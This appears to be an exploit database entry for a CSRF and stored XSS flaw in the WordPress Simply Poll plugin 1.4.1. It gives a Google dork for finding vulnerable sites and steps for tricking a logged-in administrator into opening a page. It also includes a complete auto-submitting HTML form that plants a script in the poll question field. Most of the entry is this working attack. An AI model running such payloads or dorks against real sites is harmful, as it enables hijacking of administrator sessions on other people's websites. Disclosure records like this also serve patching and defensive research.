WordPress Simply Poll Plugin 1.4.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
WordPress Simply Poll Plugin 1.4.1 CSRF and stored XSS vulnerabilitie

                                                # Exploit Title: WordPress Simply Poll Plugin 1.4.1 CSRF and stored XSS
# Google Dork: inurl:&#34;/wp-content/plugins/simply-poll
# Date: 16.03.2013
# Exploit Author: m3tamantra
# Vendor Homepage: http://wordpress.org/extend/plugins/simply-poll/
# Software Link: http://downloads.wordpress.org/plugin/simply-poll.1.4.1.zip
# Version: 1.4.1
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)

Note: After a email to [email protected], &#34;Simply Poll Plugin&#34; was deleted.

Description:
- The question parameter is vulnerable to XSS
- Simply Poll has an CSRF vulnerability (Polls=&#62;Add New) 

The PoC leads to arbitrary javascript execution in back-end area.

Steps to exploit the Flaw:
- Save PoC code in html file
- Send a link (pointing to the PoC html file) to a logged in admin
- When Admin view the Page he will automatically add a new Poll which exploits an XSS vulnerability in the question parameter
- When the admin views the Polls the javascript Code will execute

Note: this was just an example, it is also possible to remove, reset and edit all Polls.

[code]
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Simply Poll CSRF and XSS&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;!-- replace &#34;127.0.0.1:9001/wordpress&#34; --&#62;
&#60;form action=&#34;http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=sp-add&#34; method=&#34;post&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;question&#34; value=&#39;Is CSRF+XSS possible?&#60;script&#62;alert(1)&#60;/script&#62;&#39; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[1][answer]&#34; value=&#34;yes&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[2][answer]&#34; value=&#34;no&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[3][answer]&#34; value=&#34;maybe&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[4][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[5][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[4][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[6][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[7][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[8][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[9][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;answers[10][answer]&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;polledit&#34; value=&#34;new&#34; /&#62;
&#60;/form&#62;
&#60;script&#62;document.forms[0].submit();&#60;/script&#62;

&#60;/body&#62;
&#60;/html&#62;
[/code]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1